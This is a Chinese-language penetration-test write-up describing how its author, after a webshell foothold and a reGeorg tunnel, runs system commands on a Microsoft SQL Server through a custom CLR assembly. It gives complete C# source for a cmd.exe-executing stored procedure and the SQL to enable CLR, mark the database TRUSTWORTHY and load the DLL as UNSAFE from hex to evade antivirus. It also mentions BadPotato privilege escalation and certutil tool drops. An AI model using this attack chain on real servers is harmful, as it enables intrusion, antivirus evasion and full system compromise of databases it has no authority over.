原文链接:MSSQL 利用 CLR 技术执行系统命令
在某项目外围打点的过程中,通过文件上传拿到一个 WebShell。通过 WebShell 能够执行大多数的命令,且直接是 System 权限,但却无法执行 dir 进行列目录,导致冰蝎和蚁剑都无法使用。使用冰蝎进行命令行下的操作,回显极其的慢。通过 netstat,观察到站点连接内网中某台的服务器的 1433 端口,判断是站库分离的情形,于是决定建立隧道对数据库服务器进行渗透。而稍微大一点点的文件,都无法通过网站业务的上传功能进行上传,于是通过 WebShell 写入文件的方式,写入 reGeorg 隧道文件,快速建立起代理。
障碍
通过搜寻站点的数据库配置文件,得到了数据库的用户名和密码。通过 SSMS 远程连接进内网的数据库服务器,得到的用户有sysadmin的权限。但不幸的是无法执行xp_cmdshell,似乎该存储过程被删了。
突破-通过 CLR 进行命令执行CLR 简介
CLR(公共语言运行时)提供了 .NET Framework 的代码执行环境,可以通过 .NET Framework 来编写存储过程、触发器等功能 。简单说,通过 CLR 能够在 SQLServer 中注册一套程序集,实现执行任意的 .NET 代码。既然可以执行代码,此时就可以实现很多功能。
编写一个 CLR
首先,在 visual studio 中创建一个 SQLSever 项目
然后,添加一个存储过程项目
接着参照如下代码编写,即可简单实现通过 cmd.exe 来进行系统命令执行
- using System;
- using System.Diagnostics;
- using System.Text;
- using Microsoft.SqlServer.Server;
- public partial class StoredProcedures
- {
- [Microsoft.SqlServer.Server.SqlProcedure]
- public static void CmdExec (String cmd)
- {
- // Put your code here
- SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd));
- }
-
- public static string Command(string filename, string arguments)
- {
- var process = new Process();
- process.StartInfo.FileName = filename;
- if (!string.IsNullOrEmpty(arguments))
- {
- process.StartInfo.Arguments = arguments;
- }
- process.StartInfo.CreateNoWindow = true;
- process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- process.StartInfo.UseShellExecute = false;
- process.StartInfo.RedirectStandardError = true;
- process.StartInfo.RedirectStandardOutput = true;
- var stdOutput = new StringBuilder();
- process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
- string stdError = null;
- try
- {
- process.Start();
- process.BeginOutputReadLine();
- stdError = process.StandardError.ReadToEnd();
- process.WaitForExit();
- }
- catch (Exception e)
- {
- SqlContext.Pipe.Send(e.Message);
- }
- if (process.ExitCode == 0)
- {
- SqlContext.Pipe.Send(stdOutput.ToString());
- }
- else
- {
- var message = new StringBuilder();
- if (!string.IsNullOrEmpty(stdError))
- {
- message.AppendLine(stdError);
- }
- if (stdOutput.Length != 0)
- {
- message.AppendLine(stdOutput.ToString());
- }
- SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
- }
- return stdOutput.ToString();
- }
- }
复制代码
命令执行
将代码编译完成后,会生成一个 DLL 文件,需要将 DLL 文件注册进数据库 默认情况下,MSSQL 的 CLR 是禁用的,因此首先需要开启 CLR 功能 - sp_configure 'clr enabled', 1
- GO
- RECONFIGURE
- GO
复制代码 当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对 msdb 不需要,默认 msdb 就是的可信任的
- ALTER DATABASE master SET TRUSTWORTHY ON;
复制代码 方式一,CLR 注册 DLL 支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作
- CREATE ASSEMBLY sp_cmdExec
- FROM 0x4D5A90000300000004000000FFFF0000B800000000000
- WITH PERMISSION_SET = UNSAFE
- GO
复制代码
方式二,通过 SSMS 图形化界面注册
方式三,将文件落地目标机器上后进行注册
- CREATE ASSEMBLY sp_cmdExec
- FROM 'C:\ProgramData\Database1.dll'
- WITH PERMISSION_SET = UNSAFE
- GO
复制代码 注册完后,需创建存储过程,执行如下语句
- CREATE PROCEDURE sp_cmdExec
- @Command [nvarchar](4000)
- WITH EXECUTE AS CALLER
- AS
- EXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExec
- GO
复制代码
一切顺利的话,此时就可以通过该存储过程进行系统命令的执行
提权
数据库服务器无法出网,可以利用 WEB 服务器做平台,通过 certutil 来落地工具。由于没先列出目标的 tasklist,贸然的上传一个提权工具,结果被杀软干掉了。后来使用 C# 写的 BadPotato 上传,没被杀,成功提权。
冒出一个想法,既然 BadPotato 是 C# 写的,那么是否可以通过 CLR 来提权。找到了 Badpotato 的代码一顿抄,然后实际使用的时候发现,没成功。
在 GitHub 上找到了 WarSQLKit.DLL 项目,里面内置了很多功能,比如提权。但翻看了一下代码,发现是通过写入一个 EXE 程序来完成的。在实际利用的时候发现,不知道什么情况没有权限写入 C:\ProgramData\Kumpir.exe, 导致提权失败,将其修改成其他目录也无法写入,不知是否杀软在起作用
代理
为了更好的进一步渗透,代理是必须的。此时已有 System 权限,可做代理的方式很多。MSSQLProxy 是基于 CLR 实现的代理工具,原理和实现方式有兴趣的可以去了解了解。
最后简单记录了一下实际情况利用 CLR 的过程。CLR 的好处很明显,只要有sysadmin权限,就可以完成命令执行,并且还可以无文件落地规避杀软,由于通过 .NET 代码拓展出无限可能性,在遇到 SQLServer 环境,可以说是一个大杀器。由于是实际的项目,不便贴上过多细节的图片,部分 SQLServer 环境由本地搭建测试,若有表述不到位的地方,还请见谅。
|